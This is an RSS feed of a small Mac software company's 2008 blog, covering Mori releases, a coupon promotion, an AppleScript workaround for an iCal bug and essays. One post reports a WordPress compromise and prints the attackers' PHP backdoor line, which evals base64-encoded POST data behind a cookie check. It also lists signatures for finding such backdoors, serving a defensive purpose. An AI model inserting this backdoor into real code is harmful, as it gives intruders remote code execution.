<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Apokalypse Software Corp. &#187; process failure</title>
	<atom:link href="http://apokalypsesoftware.com/blog/tags/process-failure/feed/" rel="self" type="application/rss+xml" />
	<link>http://apokalypsesoftware.com</link>
	<description>words from the wilderness</description>
	<pubDate>Sun, 17 Aug 2008 20:08:45 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Web Site Issues Persist Still, Sometimes I&#8217;m to Blame, And &#8220;Hello, Mori 1.6.11!&#8221;</title>
		<link>http://apokalypsesoftware.com/blog/2008/07/12/117/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/07/12/117/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 03:48:17 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[mori]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/?p=117</guid>
		<description><![CDATA[In spite of updating WordPress a couple months ago, a spammer has managed to hack his junk into the blog webpages. You can see it at the end the page source. It&#8217;s after the closing &#60;html&#62; tag, where browsers ignore it, but Google doesn&#8217;t. Looks like I&#8217;ll be dumping WP to handle the blog, and [...]]]></description>
			<content:encoded><![CDATA[<p>In spite of updating WordPress a couple months ago, a spammer has managed to hack his junk into the blog webpages. You can see it at the end the page source. It&#8217;s after the closing &lt;html&gt; tag, where browsers ignore it, but Google doesn&#8217;t. Looks like I&#8217;ll be dumping WP to handle the blog, and just let Drupal do it all, at least for the time being.</p>
<p>Another issue I frequently see in the logs is user activity which is denied. A few in particular are some pages which anonymous users were trying to access. Today, however, I noticed that a normal user tried to access one of those pages so I decided to investigate. That&#8217;s when I discovered he tried adding an entry to the Mori User Story page and the system refused him! How can we refuse a user&#8217;s desire to add his own story to the story page? So I fished around in the admin controls until I found a couple that might have prevented him from doing this generous thing for us. So, hopefully, he&#8217;ll once again feel the creative mood strike him to share his experiences with us. And if this oversight and ignorance on my part also hindered your desire to let the world know about the awesome work you&#8217;re doing in Mori, please give it another shot. The community is certainly happy to find more inspiration by what you&#8217;re doing. After releasing Mori 1.6.11, I know I certainly am!</p>
<p>That&#8217;s right. Mori 1.6.11 is finally out, and it&#8217;s got the major smackdown on a few nasties. First, problem #2608, freezing during Spotlight updating after emptying the trash. Fixed. Second, (hmm&#8230;no problem number. Oh, well.) user&#8217;s autosave interval not being respected by Mori. Fixed. And finally, a problem that I finally managed to isolate after the beta went out (which was this past Monday, July 7, 2008): intermittent crash when updating the live search database. That long-standing bug is now dead! (It&#8217;s so old I don&#8217;t even know where the bug report for it is.)</p>
<p>Anyway, enough progress has been made to Mori&#8217;s internal structure since the last update, that except for taking care of some long-neglected responsibilities this weekend, I&#8217;ve been working on the polish and features that will make it into 1.7! And I understand how frustrating it is not to know the details of what they are, but it would&#8217;ve given Mori&#8217;s competitors a chance to duplicate before it&#8217;s release. But I&#8217;m looking forward to its release so I can finally share what they are with you.</p>
<p>In the meantime, there&#8217;s still some issue with the mGTD plugin. So there might be a Mori 1.6.12 soon if we get the cause for it, and any other open bugs, nailed down in time.</p>
<p>Alfonso<br />
P.S. Did you notice the View item in the toolbar? It allows you to select either table (immediate descendants) or outline mode for the entries view. I enabled that feature a few versions back. Give it a try, if you haven&#8217;t before. Also, try out the options for Layout in the View menu. The menu isn&#8217;t quite friendly enough yet, but it still gives you a lot of flexibility to work in your own style.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/07/12/117/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Website was Down Due to Compromised WordPress System</title>
		<link>http://apokalypsesoftware.com/blog/2008/05/04/115/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/05/04/115/#comments</comments>
		<pubDate>Sun, 04 May 2008 17:57:47 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[community]]></category>

		<category><![CDATA[marketing]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[rant]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[website]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/?p=115</guid>
		<description><![CDATA[I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help -- I definitely will switch the blog to another system after 1.7's release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.]]></description>
			<content:encoded><![CDATA[<p>If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help &#8212; I definitely will switch the blog to another system after 1.7&#8217;s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.</p>
<p>I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there&#8217;s no evidence that the wacky WordPress system the site is now running on doesn&#8217;t have other compromised files, as well as the security holes through which the crackers originally got in.</p>
<p>Several compromised files had this line inserted at the beginning,</p>
<p><code>&lt;?php if(md5($_COOKIE['_wp_debugger'])==&#8221;5fd808ac028e5197dd69318e32407eb7&#8243;){ eval(base64_decode($_POST['file'])); exit; } ?></code></p>
<p>Others were disguised as image files, with file extensions of &#8220;pngg&#8221; and &#8220;jpgg&#8221;, and beginning with &#8220;<?/*&#8221;.</p>
<p>If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as &#8220;qwerty&#8221;, &#8220;4008deadb16536f48b84fdc70f194dac&#8221;, &#8220;find suid files&#8221;, &#8220;_wp_debugger&#8221;, &#8220;5fd808ac028e5197dd69318e32407eb7&#8243;. The signatures are sure to change, as they&#8217;re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.</p>
<p>All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/05/04/115/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Easter mEgg Hunt Coupon System is Now Working, Discount Applied to All Past Sales in This Period</title>
		<link>http://apokalypsesoftware.com/blog/2008/03/27/114/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/03/27/114/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 11:05:57 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[bugs]]></category>

		<category><![CDATA[easter megg hunt]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[promotions]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/03/27/114/</guid>
		<description><![CDATA[Because of several problems with the system, I wasn&#8217;t able to get the coupon discounts to work before. It is now up and running on our online store, and you&#8217;ll be able to receive the special discount for the Easter mEgg Hunt.

In fact, as a way of making amends for any difficulty to those who [...]]]></description>
			<content:encoded><![CDATA[<p>Because of several problems with the system, I wasn&#8217;t able to get the coupon discounts to work before. It is now up and running on our online store, and you&#8217;ll be able to receive the special discount for the Easter mEgg Hunt.</p>
<p><a href="http://easter.houdahpromo.com"><img alt="Join in the Easter mEgg Hunt!" src="http://apokalypsesoftware.com/products/files/images/mEggHunt-large.png" /></a></p>
<p>In fact, as a way of making amends for any difficulty to those who couldn&#8217;t find the easter egg coupon, I&#8217;m posting it here so you won&#8217;t be hampered by the search. Our Easter mEgg Hunt coupon code is <strong>FABERGE1842</strong>, and the last day it will remain valid is April 6, 2008.</p>
<p>And an extra in fact, I&#8217;ll be issuing refunds for all purchases made during this period at our online store in the amount of the Easter mEgg Hunt discount [Done.]. So if you haven&#8217;t received your refund by the end of this day, please let me know and I&#8217;ll correct that for you.</p>
<p>If you weren&#8217;t participating in the hunt, please do, as it&#8217;s fun to watch the eggs collect in your basket as you visit the vendors taking part. Plus, you get the same 20% discount on <strong>their</strong> products as well!</p>
<p>Now, if you&#8217;ll excuse me, I&#8217;m going to continue hibernating for the night before resuming work on Oneill (Mori 1.7) in the morning.</p>
<p>Happy (Belated) Easter and Spring Season!</p>
<p>UPDATE 2008-03-28 5:06PM EDT: And, not really. Seems my coupon system is only using the coupon once, and then I have to reset it. I&#8217;m going to work on it some more.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/03/27/114/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Solving a New Event Bug Present in iCal When Scripting</title>
		<link>http://apokalypsesoftware.com/blog/2008/01/25/100/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/01/25/100/#comments</comments>
		<pubDate>Fri, 25 Jan 2008 16:46:44 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[AppleScript]]></category>

		<category><![CDATA[bugs]]></category>

		<category><![CDATA[code]]></category>

		<category><![CDATA[debugging]]></category>

		<category><![CDATA[iCal]]></category>

		<category><![CDATA[mgtd]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[mox]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[tiger]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/01/25/100/</guid>
		<description><![CDATA[While trying to solve a user&#8217;s problem with an mGTD script, I came across a subtle issue that demonstrates some issues that arise when violating a programming philosophy, tackling bugs in other people&#8217;s code, and general uncertainty whenever coding in AppleScript.
Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much [...]]]></description>
			<content:encoded><![CDATA[<p>While trying to solve a user&#8217;s <a href='http://apokalypsesoftware.com/products/node/2597'>problem with an mGTD script</a>, I came across a subtle issue that demonstrates some issues that arise when violating a programming philosophy, tackling bugs in other people&#8217;s code, and general uncertainty whenever coding in AppleScript.</p>
<p>Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much is dependent on how the dialect is interpreted and how scriptable apps handle some of the application events which scripting is dependent on. I&#8217;ve written scripts before, some I&#8217;m pretty awed by (that it works, actually, but also what it does), but I&#8217;m still hesitant to tackle some scripting issues. In addition, being a GTD greenhorn, and an mGTD noob made trying to respond to this issue authoritatively very questionable.</p>
<p>Thankfully, BMEGuy, mGTD&#8217;s author and all-around community nice guy, tackled the question with a quick solution. But the updated script was still problematic, and so I felt I really needed to participate in coming up with a solution.</p>
<p>Again, being an mGTD noob and all, it took me at least half an hour to figure out how the plugin worked, and the script on top of that. Then, after I was able to get the script to run, it worked for me. Hmm.</p>
<p>But that&#8217;s because I was testing with an entry with a date due of today. Once I switched it to later in the week, the entry was still showing up for today. <em>Isn&#8217;t that odd?</em> It seemed I had inadvertently left in the date line from the original script. When I removed it, I witnessed the same problem.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugweek.png' alt='Artifacts of the shy scripted event' align='left' /></p>
<p>It turns out there&#8217;s a bug in MOX 10.4.11&#8217;s iCal 2.0.5 (I&#8217;m guessing it&#8217;s present in earlier versions as well) where it doesn&#8217;t properly update the calendar display for new events made by the script. You won&#8217;t see it in the monthly view. However, you might notice a little oddness in the weekly view.</p>
<p>You can see the event if you add &#8217;show theEvent&#8217; after the script makes a new display alarm for the event (between the 2nd and 3rd &#8216;end tell&#8217; up from the bottom). This will display it&#8217;s properties in the info drawer, but you won&#8217;t see the event anywhere on the calendar (in either week or month view) until iCal is restarted.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugweekshow.png' alt='Although the event doesn't show up in the calendar, its properties are displayed in the info drawer' /></p>
<p>Running the script in monthly view doesn&#8217;t show any artifact in the calendar, but the data is shown in the info drawer.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmonthshow.png' alt='icalbugmonthshow.png' /></p>
<p>You could also run the script in the weekly view and then switch to the monthly view, in which case you get this: </p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmonthswitched.png' alt='icalbugmonthswitched.png' align='left' /></p>
<p>So now that the question of the event&#8217;s presence in the calendar was settled in my mind, I had to figure out why my faulty script displayed the event, but not the proper one; and how to coax iCal to display it.</p>
<p>Being unfamiliar with mGTD still, I tried to figure out the difference between the <var>attribute name &#8220;dateDue&#8221;</var> and <var>due date</var>. <var>due date</var> is one of the standard properties for entries in a Mori document. <var>attribute name &#8220;dateDue&#8221;</var> is a user column added in the example mGTD notebook. You can view them all the user columns by selecting the menu item <q>Edit > Edit Notebook Columns…</q></p>
<p>Okay, good so far, but why would one cause iCal to display properly and not the other? After moving the <var>due date</var> line about for a while, I checked <em>Script Editor</em>&#8217;s <cite>Event Log</cite>, and saw</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmissingvalue.png' alt='icalbugmissingvalue.png'/></p>
<p>The event reply for the <var>due date</var> had a <q>missing value</q>! Mori wasn&#8217;t returning a value for the <var>due date</var> property because it wasn&#8217;t set (and wouldn&#8217;t be in the example notebook). Now I had to find a way to use one of those missing values to make <var>theEvent</var> visible without setting it to the wrong date. And the problem with that is most of the properties used in Mori&#8217;s entries aren&#8217;t appropriate for an iCal event.</p>
<p>I eventually thought about re-ordering the messages to iCal instead of being so fixated on a change in the messages to Mori or playing with the properties being set in creating the event. What I came up with was a plan to use the messed up <q>missing value</q> date as before to make the event visible first, and <em>then</em> set the date correctly. The code turned out like this:</p>
<pre>
tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:faultyDate, allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		set theEvent's start date to theDate
	end tell
end tell
</pre>
<p>And to my surprise, it worked! So as I began gathering the materials together for my reply to the issue, I noticed something in the event&#8217;s info drawer that had escaped my attention before:</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbughilite.png' alt='The previous script set up appointments for H. G. Wells.' align='left' /></p>
<p>iCal, that&#8217;s just crazy talk! But at least it would explain why it would display traces of an event, if anything at all; and why it wasn&#8217;t noticeable earlier: iCal would correct the event data when reading it in when it started (&#8221;iCal database, that&#8217;s just crazy talk!&#8221;). But somebody forgot to add a sanity check when creating a new event from the properties passed to it by our script. (This is an example of why the <a href='http://en.wikipedia.org/wiki/Once_and_only_once'>Once and Only Once</a> principle should be heeded. If there&#8217;s only one place where events are synthesized from pre-recorded values, whether those values are from a stored file, a script or the UI, then all those code paths will benefit from any sanity checks added to event creation.)</p>
<p>Knowing this, here&#8217;s another means of working around this bug, by sending iCal info that won&#8217;t confuse it:</p>
<pre>tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		-- set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:theDate, end date:(theDate + 1), allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		-- set theEvent's start date to theDate
	end tell
end tell
</pre>
<p>Thinking about these two solutions it&#8217;s clear that picking the latter one, with well-formed properties, is the safest choice to make. <strong>Here&#8217;s additional proof:</strong> the first solution, the one which plays with the start date to make the event appear, will indeed make the event appear. But if there&#8217;s less than 24 hours until the event begins, <em>it will appear on the wrong date</em> and still require iCal to be restarted to appear in the proper location!</p>
<p>It just goes to show you, while you might be able to get away with just the barest minimum, and someone else might normally clean up after you, it&#8217;s best if you did the job correctly from the start in case your safety net disappears from under you.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/01/25/100/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mori v1.6.9 is Being Packaged for Release</title>
		<link>http://apokalypsesoftware.com/blog/2008/01/13/96/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/01/13/96/#comments</comments>
		<pubDate>Sun, 13 Jan 2008 23:04:53 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[bugs]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[unit tests]]></category>

		<category><![CDATA[xcode]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/01/13/96/</guid>
		<description><![CDATA[This has taken much longer than I hoped for, and it lacks the features I wanted to add in there, but due to another empty-window bug I&#8217;m releasing Mori 1.6.9 today as a stopgap measure.
I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, [...]]]></description>
			<content:encoded><![CDATA[<p>This has taken <em>much longer</em> than I hoped for, and it lacks the features I wanted to add in there, but due to another empty-window bug I&#8217;m releasing Mori 1.6.9 today as a stopgap measure.</p>
<p>I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, Hog Bay Software versions), but I had upgraded my Xcode installation mid-stream, which is generally a bad idea if you can&#8217;t test the effects a tool migration will have on your projects. And Mori is quite unique in the way it&#8217;s constructed, being almost entirely plugins, and plugins which run plugins.</p>
<p>It took a week to resolve unit testing problems, some of which were due to Mori&#8217;s unique project files, some of which were due to changes in the layout of Xcode&#8217;s tools directories and one due to a bug in the unit tests for the &#8216;Check and Repair Notebooks&#8217; functionality (which I wasn&#8217;t going to risk going out with a bug whose cause I hadn&#8217;t determined).</p>
<p>Anyway, testing problems aside, I&#8217;m packaging the latest for release now. You&#8217;ll be able to read the <a href='http://apokalypsesoftware.com/products/mori/releasenotes'>release info</a> shortly.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/01/13/96/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Façade of Success</title>
		<link>http://apokalypsesoftware.com/blog/2007/12/25/93/</link>
		<comments>http://apokalypsesoftware.com/blog/2007/12/25/93/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 04:19:29 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[entrepreneurism]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[society]]></category>

		<category><![CDATA[success]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2007/12/25/93/</guid>
		<description><![CDATA[People look at the trappings of materialism, of possessions, and of an indulgent lifestyle, and they infer the absence of hard-work, sweat and struggle. They associate the possession of goods with success, representative of a successful person or someone who can get things done; being obviously done, because he&#8217;s no longer working hard.
However, the true [...]]]></description>
			<content:encoded><![CDATA[<p>People look at the trappings of materialism, of possessions, and of an indulgent lifestyle, and they infer the absence of hard-work, sweat and struggle. They associate the possession of goods with success, representative of a successful person or someone who can get things done; being obviously done, because he&#8217;s no longer working hard.</p>
<p>However, the true measure of one&#8217;s success are the goals he has set for himself. For success is the achievement of goals, and unless your goal was the possession of great many material possessions, you are no more successful by having them then you are in not.</p>
<p>Understanding this, we can say Bill Gates isn&#8217;t a success although he has achieved great material wealth. The goal he had established for Microsoft, as defined in their original mission statement, was &#8220;A computer on every desk and in every home, running Microsoft software.&#8221; This is the reason why Microsoft competes vigorously in any industry related to computer software or which is heavily dependent on software.</p>
<p>If you think I&#8217;m just nit-picking over minor details, then you&#8217;re getting the cart before the horse. You&#8217;re looking at their position of prominence and wealth as establishing their character; whereas by focusing on their mission, the people of Microsoft didn&#8217;t stop once they achieved a measure of material wealth. They kept trying harder and harder to dominate other markets, and risked that material wealth, until they eventually dominated those markets.</p>
<p>You&#8217;re also demonstrating a great deal of self-centeredness, measuring others against your own personal standard for success.</p>
<p>Chances are, when you first read the title of this entry you thought of the façade rather than the success. Hopefully, by thinking more clearly on what is the true measure of success, your personal measure of success, you&#8217;ll concentrate on those critical areas which will help you achieve them rather than the façade.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2007/12/25/93/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Day&#8217;s Not Done Yet</title>
		<link>http://apokalypsesoftware.com/blog/2007/12/25/92/</link>
		<comments>http://apokalypsesoftware.com/blog/2007/12/25/92/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 03:51:44 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[debugging]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[unit tests]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2007/12/25/92/</guid>
		<description><![CDATA[it&#8217;s been excessively frustrating and tiring. To cap off the season I was hoping to release the overdue 1.6.8 today, but there are still difficulties in getting the new defaults system working correctly.
The debugger is failing in the middle of an initializer method (self becomes 0&#215;1, and the argument becomes invalid), which typically indicates an [...]]]></description>
			<content:encoded><![CDATA[<p>it&#8217;s been excessively frustrating and tiring. To cap off the season I was hoping to release the overdue 1.6.8 today, but there are still difficulties in getting the new defaults system working correctly.</p>
<p>The debugger is failing in the middle of an initializer method (self becomes 0&#215;1, and the argument becomes invalid), which typically indicates an invalid pointer, but I&#8217;m just using -[NSCharacterScanner scanInt:], which shouldn&#8217;t be so problematic. (But it is, after all, Cocoa.) And it turns out that isn&#8217;t the correct tactic to use anyway as I want to extract info from the internal version number (MMmmb.bs.rr), not the public (MM.mm.bb[s[rr]]), and Cocoa doesn&#8217;t have an API for handling fixed-length records. (Possibly the <a href='http://supportline.microfocus.com/documentation/books/ocds42/lrpdf4.htm#s018'>only functionality</a> from COBOL I actually miss! I mean, there are BCD libraries for C, right?)</p>
<p>So I&#8217;ve spent much of the day tussling through docs and links for various RegEx frameworks for Cocoa, and trying to add <a href='http://regexkit.sourceforge.net/'>RegexKit</a> to the Blocks plugin framework; first 0.5beta and then 0.4beta via compilation. Now I&#8217;m attempting to use the prebuilt binary, which is problematic because frameworks are normally used by applications, <a href='http://lapcatsoftware.com/blog/2007/08/11/embedding-frameworks-in-loadable-bundles/'>not plugins</a>, so it doesn&#8217;t exactly fit right (or run). But as the clock&#8217;s been ticking, it looks like it&#8217;s time to punt and attempt another tactic by hard-coding a parser for the internal version scheme or using defaults for the optional fields in the public version scheme.</p>
<p>This is just to fix the bugs in the version class I added in an earlier version, which I have to get out of the way to continue fleshing out the revamped defaults system I created with unit tests and component code in order to release! Argh!</p>
<p>It hasn&#8217;t been all sweat and tears, though. I went through a period of idea generation (both software and marketing/entrepreneurism) early during the process and also, last night as I was organizing several years of accumulated papers, bills and what-not, found several new UI ideas I had come up with (and forgotten) and the missing FreeHand install CDs.</p>
<p>Now to get these final PITA problems licked so I can continue to move Mori forward!</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2007/12/25/92/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
